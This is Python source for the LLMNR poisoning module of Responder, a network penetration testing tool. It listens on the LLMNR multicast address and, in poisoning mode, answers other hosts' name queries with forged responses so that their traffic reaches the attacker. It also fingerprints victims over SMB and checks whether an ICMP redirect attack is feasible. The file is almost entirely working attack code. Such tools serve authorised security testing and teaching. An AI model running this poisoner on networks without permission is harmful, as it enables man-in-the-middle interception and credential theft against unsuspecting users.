#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program.  If not, see <http://www.gnu.org/licenses/>.
import socket
import struct
import core.responder.settings as settings
import core.responder.fingerprint as fingerprint
import threading

from traceback import print_exc
from core.responder.packets import LLMNR_Ans
from core.responder.odict import OrderedDict
from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer
from core.responder.utils import *

def start():
    try:
        server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer)
        t = threading.Thread(name='LLMNR', target=server.serve_forever)
        t.setDaemon(True)
        t.start()
    except Exception as e:
        print "Error starting LLMNR server on port 5355"
        print_exc()

class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):

    allow_reuse_address = 1

    def server_bind(self):
        MADDR = "224.0.0.252"

        self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
        
        Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
        
        if OsInterfaceIsSupported():
            try:
                self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0')
            except:
                pass
        UDPServer.server_bind(self)

def Parse_LLMNR_Name(data):
    NameLen = struct.unpack('>B',data[12])[0]
    Name = data[13:13+NameLen]
    return Name

def IsOnTheSameSubnet(ip, net):
    net = net+'/24'
    ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
    netstr, bits = net.split('/')
    netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
    mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
    return (ipaddr & mask) == (netaddr & mask)

def IsICMPRedirectPlausible(IP):
    dnsip = []
    for line in file('/etc/resolv.conf', 'r'):
        ip = line.split()
        if len(ip) < 2:
           continue
        if ip[0] == 'nameserver':
            dnsip.extend(ip[1:])
    for x in dnsip:
        if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
            settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] You can ICMP Redirect on this network.")
            settings.Config.AnalyzeLogger.warning("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x))
        else:
            pass

if settings.Config.AnalyzeMode:
    IsICMPRedirectPlausible(settings.Config.Bind_To)

# LLMNR Server class
class LLMNRServer(BaseRequestHandler):

    def handle(self):
        data, soc = self.request
        Name = Parse_LLMNR_Name(data)

        # Break out if we don't want to respond to this host
        if RespondToThisHost(self.client_address[0], Name) is not True:
            return None

        if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):

            if settings.Config.Finger_On_Off:
                Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
            else:
                Finger = None

            # Analyze Mode
            if settings.Config.AnalyzeMode:
                settings.Config.AnalyzeLogger.warning("{} [Analyze mode: LLMNR] Request for {}, ignoring".format(self.client_address[0], Name))

            # Poisoning Mode
            else:
                Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
                Buffer.calculate()
                soc.sendto(str(Buffer), self.client_address)
                settings.Config.PoisonersLogger.warning("{} [LLMNR] Poisoned request for name {}".format(self.client_address[0], Name))

            if Finger is not None:
                settings.Config.ResponderLogger.info("[FINGER] OS Version: {}".format(Finger[0]))
                settings.Config.ResponderLogger.info("[FINGER] Client Version: {}".format(Finger[1]))